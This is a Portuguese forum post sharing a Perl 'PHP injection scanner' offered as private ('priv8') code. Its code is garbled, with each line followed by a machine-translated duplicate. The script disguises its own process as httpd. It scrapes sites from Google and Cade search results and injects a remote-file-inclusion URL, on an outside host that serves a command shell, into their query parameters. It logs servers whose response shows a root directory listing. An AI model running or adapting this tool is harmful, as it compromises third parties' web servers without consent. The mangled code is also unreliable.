Scanner codado em Perl, feito por gringos.
totalmente Priv8
totalmente Priv8
Código:
utilização lwp:: Simples; use IO::Socket::INET; use IO:: Socket:: INET; print "\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n"; print "\ n \ n \ n \ n \ n \ n \ n \ n \ n \ n \ n \ n \ n \ n \ n \ n \ n \ n"; print "\t[ PHP injection scanner 5.0 priv8 version \n\n\n"; print "\ t [PHP injecção scanner 5,0 priv8 versão \ n \ n \ n"; if(!@ARGV[0]){ if (! @ ARGV [0]) ( print "\t[ use: perl php5.0.pl <procura> ]\n\n"; print "\ t [use: perl php5.0.pl <procura>] \ n \ n"; exit; saída; } ) print "\t[ Camuflando pid ]\n"; print "\ t [Camuflando pid] \ n"; my $processo = "/usr/local/sbin/httpd - spy"; my $ processo = "/ usr / local / sbin / httpd - spy"; $SIG{"INT"} = "IGNORE"; $ SIG ( "int") = "IGNORE"; $SIG{"HUP"} = "IGNORE"; $ SIG ( "HUP") = "IGNORE"; $SIG{"TERM"} = "IGNORE"; $ SIG ( "TERM") = "IGNORE"; $SIG{"CHLD"} = "IGNORE"; $ SIG ( "CHLD") = "IGNORE"; $SIG{"PS"} = "IGNORE"; $ SIG ( "PS") = "IGNORE"; $0="$processo"."\0"x16;; $ 0 = "$ processo". "\ 0" x16; my $pid=fork; my $ pid = fork; exit if $pid; se sair $ pid; die "Problema com o fork: $!" unless defined($pid); die "Problema com o fork: $!" salvo defined ($ pid); print "\t[ Pid: $pid Processo: $processo ]\n"; print "\ t [Pid: $ pid Processo: $ processo] \ n"; $caxe = "."; $ Caxe = "."; $caxe1 = "."; $ Caxe1 = "."; $caxe .= rand(9999); $ Caxe .= rand (9999); $caxe1 .= rand(9999); $ Caxe1 .= rand (9999); $arq = "."; $ Arq = "."; $arq = int rand(9999); $ Arq = int rand (9999); open(sites,">$arq"); open (sites, "> $ arq"); print sites ""; imprimir sites ""; close(sites); close (sites); $procura = @ARGV[0]; $ Procura = @ ARGV [0]; chomp $procura; chomp $ procura; print "\t[ Procurando por $procura no Google ]\n"; print "\ t [Procurando por $ procura nenhuma Google] \ n"; for($n=0;$n<900;$n += 10){ for ($ n = 0; $ n <900; $ n + = 10) ( $sock = IO::Socket::INET->new(PeerAddr => "www.google.com.br", PeerPort => 80, Proto => "tcp") or next; Palmilha $ = IO:: Socket:: INET-> new (PeerAddr => "www.google.com.br", PeerPort => 80, Proto => "tcp") ou na próxima; print $sock "GET /search?q=$procura&start=$n HTTP/1.0\n\n"; print $ palmilha "GET / search? q = $ procura & start = $ n HTTP/1.0 \ n \ n"; print $sock "Host: www.google.com.br"; print $ palmilha "Host: www.google.com.br"; print $sock "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.0.1) Gecko/20020823 Netscape/7.0"; print $ palmilha "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv: 1.0.1) Gecko/20020823 Netscape/7.0"; print $sock "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,video/x-mng,image/png,image/jpeg,image/gif;q=0.2,text/css,*/*;q=0.1"; print $ palmilha "Accept: text / xml, application / xml, application / xhtml + xml, text / html; q = 0.9, text / plain; q = 0.8, video / x-MNG, image / png, image / jpeg, image / gif; q = 0.2, text / css ,*/*; q = 0.1 "; print $sock "Accept-Language: pt-br, pt;q=0.50"; print $ palmilha "Accept-Language: pt-br, pt; q = 0,50"; print $sock "Accept-Encoding: gzip, deflate, compress;q=0.9"; print $ palmilha "Accept-Encoding: gzip, desinflar, comprimir; q = 0,9"; print $sock "Accept-Charset: ISO-8859-1, utf-8;q=0.66, *;q=0.66"; print $ palmilha "Accept-Charset: ISO-8859-1, utf-8; q = 0,66, *; q = 0.66"; print $sock "Keep-Alive: 300"; print $ palmilha "Keep-Alive: 300"; print $sock "Connection: keep-alive"; print $ palmilha "Connection: keep-alive"; @resu = <$sock>; @ Resu = <$ palmilha>; close($sock); close ($ meia); $ae = "@resu"; $ Ae = "@ resu"; while ($ae=~ m/<a href=.*?>.*?<\/a>/){ while ($ ae = ~ m / <a href=.*?> .*? <\ / a> /) ( $ae=~ s/<a href=(.*?)>.*?<\/a>/$1/; $ Ae = ~ s / <a href=(.*?)> .*? <\ / A> / $ 1 /; $uber=$1; Uber $ = $ 1; if ($uber !~/translate/) if ($ Uber! ~ / translate /) { ( if ($uber !~ /cache/) if ($ Uber! ~ / cache /) { ( if ($uber !~ /"/) if ($ Uber! ~ / "/) { ( if ($uber !~ /google/) if ($ Uber! ~ / google /) { ( if ($uber !~ /216/) if ($ Uber! ~ / 216 /) { ( if ($uber =~/http/) if ($ Uber = ~ / http /) { ( if ($uber !~ /start=/) if ($ Uber! ~ / start = /) { ( open(arq,">>$arq"); open (arq ,">>$ arq "); print arq "$uber\n"; print arq "$ Uber \ n"; close(arq); close (arq); }}}}}}}}} }}}}}}}}} print "\t[ Procurando por $procura no Cade ]\n"; print "\ t [Procurando por $ procura não Cade] \ n"; for($cadenu=1;$cadenu <= 991; $cadenu +=10){ for ($ cadenu = 1; $ cadenu <= 991; $ cadenu + = 10) ( @cade = get("http://cade.search.yahoo.com/search?p=$procura&ei=UTF-8&fl=0&all=1&pstart=1&b=$cadenu") or next; @ Cade = get ( "http://cade.search.yahoo.com/search?p = $ procura & ei = UTF-8 & fl = 0 & all = 1 & pstart = 1 & b = $ cadenu") ou na próxima; $ae = "@cade"; $ Ae = "@ cade"; while ($ae=~ m/<em class=yschurl>.*?<\/em>/){ while ($ ae = ~ m / <em class=yschurl> .*? <\ / em> /) ( $ae=~ s/<em class=yschurl>(.*?)<\/em>/$1/; $ Ae = ~ s / <em class=yschurl> (.*?)< \ / em> / $ 1 /; $uber=$1; Uber $ = $ 1; $uber =~ s/ //g; Uber $ = ~ s / / / g; $uber =~ s/<b>//g; Uber $ = ~ s / <b> / / g; $uber =~ s/<\/b>//g; Uber $ = ~ s / <\ / b> / / g; open(a,">>$arq"); abrir (uma ,">>$ arq "); print a "$uber\n"; imprimir uma "Uber $ \ n"; close(a); close (um); }} )) print "\t[ Pronto sites pegos no google e cade ]\n"; print "\ t [Pronto sites pegos sem google e cade] \ n"; print "\t[ Excluindo os sites repetidos ]\n"; print "\ t [excluindo os sites repetidos] \ n"; $ark = $arq; $ Ark = $ arq; @si = ""; @ Si = ""; open (arquivo,"<$ark"); open (arquivo, "<$ ark"); @si = <arquivo>; @ Si = <arquivo>; close(arquivo); close (arquivo); $novo =""; $ Novo = ""; foreach (@si){ foreach (@ si) ( if (!$si{$_}) if (! $ si {$_}) { ( $novo .= $_; $ Novo .= $ _; $si{$_} = 1; $ Si ($ _) = 1; } ) } ) open (arquivo,">$ark"); open (arquivo, "> $ ark"); print arquivo $novo; print arquivo $ novo; close(arquivo); close (arquivo); $a =0; $ Um = 0; $b =0; $ B = 0; open(ae,"<$arq"); open (ae, "<$ arq"); while(<ae>) while (<ae>) {$sites[$a] = $_; ($ Sites [$ a] = $ _; chomp $sites[$a]; chomp $ sites [$ a]; $a++; $ Um + +; $b++;} $ B + +;) close(ae); close (ae); print "\t[ Total de sites para scanear: $a ]\n"; print "\ t [Total de sites para scanear: $ a] \ n"; for ($a=0;$a<=$b;$a++){ for ($ um = 0; $ a <= $ b; $ um + +) ( open (file, ">$caxe"); open (FILE, "> $ caxe"); print file ""; imprimir o arquivo ""; close(file); close (FILE); open (file, ">$caxe1"); open (FILE, "> $ caxe1"); print file ""; imprimir o arquivo ""; close(file); close (FILE); $k=0; $ K = 0; $e=0; $ E = 0; $data=get($sites[$a]) or next; $ Data = get ($ sites [$ a]) ou na próxima; while($data=~ m/<a href=".*?">.*?<\/a>/){ while ($ dados = ~ m / <a href=".*?"> .*? <\ / a> /) ( $data=~ s/<a href="(.*?)">.*?<\/a>/$1/; $ Data = ~ s / <a href="(.*?)"> .*? <\ / A> / $ 1 /; $ubersite=$1; Ubersite $ = $ 1; if ($ubersite =~/"/) if ($ ubersite =~/"/) { ( $nu = index $ubersite, '"'; $ Nu = index $ ubersite, ' "'; $ubersite = substr($ubersite,0,$nu); $ Ubersite = substr ($ ubersite, 0, $ nu); } ) if ($ubersite !~/http/) if ($ ubersite! ~ / http /) {$ubersite = $sites[$a].'/'.$ubersite;} ($ Ubersite = $ sites [$ ].'/'.$ um ubersite;) open(file,">>$caxe") || die("nao abriu caxe.txt $!"); open (arquivo ,">>$ caxe ") | | die (" não abriu caxe.txt $!"); print file "$ubersite\n"; imprimir o ficheiro "$ ubersite \ n"; close(file); close (FILE); } ) $lista1 = 'http://www.spykidsgroup.com/spy.gif?&cmd=ls /'; $ Lista1 = 'http://www.spykidsgroup.com/spy.gif?&cmd=ls /'; $t =0; $ T = 0; $y =0; $ Y = 0; @ja; @ Ja; open(opa,"<$caxe") or die "nao deu pra abrir o arquivo caxe.txt"; open (opa, "<$ caxe") ou morrer "nao deu pra abrir o ficheiro caxe.txt"; while (<opa>) while (<opa>) { ( $ja[$t] = $_; $ Ja [$ t] = $ _; chomp $ja[$t]; chomp $ ja [$ t]; $t++; $ T + +; $y++; $ Y + +; } ) close(opa); close (opa); $t=1; $ T = 1; while ($t < $y) while ($ t <$ y) { ( if ($ja[$t] =~/=/) if ($ ja [$ t] =~/=/) { ( $num = rindex $ja[$t], '='; $ Num = rindex $ ja [$ t], '='; $num += 1; $ Num + = 1; $ja[$t] = substr($ja[$t],0,$num); $ Ja [$ t] = substr ($ ja [$ t], 0, $ num); open (jaera,">>$caxe1") or die "nao deu pra abrir ou criar caxe1.txt"; open (jaera ,">>$ caxe1 ") ou morrer" nao deu pra abrir ou criar caxe1.txt "; print jaera "$ja[$t]$lista1\n"; imprimir jaera "$ ja [$ t] $ lista1 \ n"; close(jaera); close (jaera); $num = index $ja[$t], '='; $ Num = index $ ja [$ t], '='; $num += 1; $ Num + = 1; $ja[$t] = substr($ja[$t],0,$num); $ Ja [$ t] = substr ($ ja [$ t], 0, $ num); $num1 = rindex $ja[$t], '.'; $ Num1 = rindex $ ja [$ t], ' ». $subproc = substr($ja[$t],$num1,$num); $ Subproc = substr ($ ja [$ t], $ num1, $ num); open (jaera,">>$caxe1") or die "nao deu pra abrir ou criar caxe1.txt"; open (jaera ,">>$ caxe1 ") ou morrer" nao deu pra abrir ou criar caxe1.txt "; print jaera "$ja[$t]$lista1\n"; imprimir jaera "$ ja [$ t] $ lista1 \ n"; close(jaera); close (jaera); } ) $t++; $ T + +; } ) $ark = "$caxe1"; $ Ark = "$ caxe1"; @si = ""; @ Si = ""; open (arquivo,"<$ark"); open (arquivo, "<$ ark"); @si = <arquivo>; @ Si = <arquivo>; close(arquivo); close (arquivo); $novo =""; $ Novo = ""; foreach (@si){ foreach (@ si) ( if (!$si{$_}) if (! $ si {$_}) { ( $novo .= $_; $ Novo .= $ _; $si{$_} = 1; $ Si ($ _) = 1; } ) } ) open (arquivo,">$ark"); open (arquivo, "> $ ark"); print arquivo $novo; print arquivo $ novo; close(arquivo); close (arquivo); $q=0; $ Q = 0; $w=0; $ W = 0; @hot; @ Hot; open (ops,"<$caxe1"); open (ops, "<$ caxe1"); while(<ops>) while (<ops>) { ( $hot[$q] = $_; $ Hot [$ q] = $ _; chomp $hot[$q]; chomp $ hot [$ q]; $q++; $ Q + +; $w++; $ W + +; } ) close(ops); close (ops); print "\t[ Comecando o scan aguarde. Pode demorar horas. ]\n"; print "\ t [comecando o scan Aguarde. Pode demorar horas.] \ n"; for($q=0;$q<=$w;$q++) for ($ q = 0; $ q <= $ w; $ q + +) { ( if ($hot[$q] =~/http/) if ($ hot [$ q] = ~ / http /) { ( $tipo=get($hot[$q]) or next; $ Tipo = get ($ hot [$ q]) ou próximo; if($tipo =~/root/) if ($ tipo = ~ / root /) { ( if ($tipo =~/etc/) if ($ tipo = ~ / etc /) { ( if ($tipo =~/boot/) if ($ tipo = ~ / boot /) { ( open(a,">>res.txt"); aberto (a, ">> res.txt"); print a "$hot[$q]\n"; imprimir um "$ hot [$ q] \ n"; close(a); close (um); }}}}}} }}}}}} print "\t[ Pronto scanner concluido ]\n"; print "\ t [Pronto scanner concluido] \ n"; print "\t[ O resultado foi salvo no seu ftp ]\n" print "\ t [O resultado foi evasivo] \ n"
Comment